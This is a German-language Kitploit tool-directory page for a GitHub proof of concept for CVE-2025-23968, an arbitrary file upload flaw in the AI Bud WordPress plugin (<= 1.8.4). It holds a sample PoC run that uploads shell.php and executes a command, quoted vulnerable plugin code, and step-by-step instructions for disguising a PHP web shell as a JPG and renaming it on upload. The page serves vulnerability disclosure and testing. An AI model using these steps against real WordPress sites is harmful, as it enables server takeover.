Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-23968 — Beliebiges Datei-Upload in AI Bud – AI Content Generator, AI Chatbot, ChatGPT, Gemini, GPT-4o <= 1.8.4 | Kitploit
Tools/GitHubGitHub/d0n601/cve-2025-23968
Payload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstests
GitHubd0n601/cve-2025-23968

CVE-2025-23968

Beliebiges Datei-Upload in AI Bud – AI Content Generator, AI Chatbot, ChatGPT, Gemini, GPT-4o <= 1.8.4

Repository anzeigen
1vor 9 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

AI Bud – AI Content Generator, AI Chatbot, ChatGPT, Gemini, GPT-4o

Das AI Bud Plugin stellt einen REST-API-Endpunkt /wp-json/ai-buddy/v1/wp/attachments bereit, der das Hochladen von Dateien in die WordPress-Mediathek ermöglicht. Die Dateilogik des Endpunkts enthält eine Dateiumbenennungsfunktion, die nach der Dateitypvalidierung ausgelöst wird, und erlaubt es dem Angreifer, die hochgeladene Datei in eine beliebige Erweiterung (einschließlich .php) umzubenennen, wodurch Administratoren oder höher beliebige Dateien hochladen und möglicherweise Codeausführung auf dem Server erlangen können.

TL;DR-Exploits

Ein POC cve-2025-23968.py wird bereitgestellt, um zu demonstrieren, wie ein Administrator eine Web-Shell namens shell.php hochlädt.

root@kitploit:~
python cve-2025-23968.py https://lab 1 .hacker admin PASSWORD
Logging into: https://lab 1 .hacker/wp-admin
Extracting nonce values...
Uploading web shell: shell.php
Executing test command: ip addr

<pre> 1 : lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN
group default qlen 1000
    link/loopback 00 : 00 : 00 : 00 : 00 : 00 brd 00 : 00 : 00 : 00 : 00 : 00
    inet 127. 0. 0. 1 / 8 scope host lo
        valid_lft forever preferred_lft forever
    inet 6 :: 1 / 128 scope host
        valid_lft forever preferred_lft forever
2 : eth 0 : <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
group default qlen 1000
    link/ether 08 : 00 : 27 : 5 b: 34 : 2 f brd ff:ff:ff:ff:ff:ff
altname enp 0 s 3
    inet 10. 0. 2. 15 / 24 metric 100 brd 10. 0. 2. 255 scope global dynamic eth 0
        valid_lft 75700 sec preferred_lft 75700 sec
    inet 6 fd 17 : 625 c:f 037 : 2 :a 00 : 27 ff:fe 5 b: 342 f/ 64 scope global dynamic
mngtmpaddr noprefixroute
        valid_lft 86174 sec preferred_lft 14174 sec
    inet 6 fe 80 ::a 00 : 27 ff:fe 5 b: 342 f/ 64 scope link
        valid_lft forever preferred_lft forever
3 : eth 1 : <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
group default qlen 1000
    link/ether 08 : 00 : 27 : 39 :ea:eb brd ff:ff:ff:ff:ff:ff
altname enp 0 s 8
    inet 192. 168. 56. 56 / 24 brd 192. 168. 56. 255 scope global eth 1
        valid_lft forever preferred_lft forever
    inet 6 fe 80 ::a 00 : 27 ff:fe 39 :eaeb/ 64 scope link
        valid_lft forever preferred_lft forever
4 : docker 0 : <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue
state DOWN group default
    link/ether 02 : 42 : 6 f: 4 c: 3 e:ed brd ff:ff:ff:ff:ff:ff
    inet 172. 17. 0. 1 / 16 brd 172. 17. 255. 255 scope global docker 0
        valid_lft forever preferred_lft forever
</pre>

Details

Das Plugin registriert seine REST-API-Routen in /wp-content/plugins/aibuddy-openai-chatgpt/src/Rest.php

Die Zeilen 250 bis 284 registrieren die REST-Route für den Endpunkt /wp/attachments. Die Callback-Funktion ist als create_attachment definiert:

root@kitploit:~
register_rest_route(
    $namespace,
    '/wp/attachments',
    array(
        'methods' => 'POST',
        'permission_callback' => array( AuthGate::class, 'authorized'
    ),
        'callback' => array( $this, 'create_attachment' ),
    'args' => array(
    'title' => array(
    'required' => true,
    'type' => 'string',
    ),
    'caption' => array(
    'required' => true,
    'type' => 'string',
    ),
    'alt' => array(
    'required' => true,
    'type' => 'string',
    ),
    'description' => array(
    'required' => true,
    'type' => 'string',
    ),
    'url' => array(
    'required' => true,
    'type' => 'string',
    ),
    'filename' => array(
    'required' => false,
    'type' => 'string',
    ),
),

Die Funktion create_attachment ist in Zeile 709 definiert, und die Umbenennungslogik beginnt in Zeile 744. Wie im folgenden Ausschnitt zu sehen, kann der Parameter $filename – falls angegeben – verwendet werden, um einen vorhandenen Anhang umzubenennen (unbereinigt):

root@kitploit:~
// strip possible path from filename
$filename = basename( sanitize_text_field( $request->get_param( 'filename'
) ) );
if (! empty( $filename ) ) {
    $file = get_attached_file( $attachment_id, true );
    $dir = dirname( $file );
    $new_file = $dir. '/'. $filename;
    if ( file_exists( $new_file ) ) {
        $new_file = $dir. '/'. uniqid(). '-'. $filename;
    }
    $this->move_file( $file, $new_file );
    update_attached_file( $attachment_id, $new_file );
}

Manuelle Reproduktion

Der .php-Umbenennungsangriff

  1. Der Angreifer bereitet eine Datei namens shell.jpg mit den folgenden Eigenschaften vor (siehe Beispiel).
    1. Datei enthält magische Bytes für JPG FF D8 FF E0.
    2. Datei hat die Erweiterung .jpg.
    3. Datei enthält PHP-Code für eine Web-Shell.
  2. Der Angreifer hostet shell.jpg auf einem Server, den er kontrolliert (wie Github).
  3. Der Angreifer sendet eine POST-Anfrage an /wp-json/ai-buddy/v1/wp/attachments mit:
    1. url: die URL zu shell.jpg
    2. filename: shell.php
  4. Der Angreifer greift auf /wp-content/uploads/YEAR/MONTH/shell.php zu und führt beliebigen PHP-Code aus.
Tool herunterladen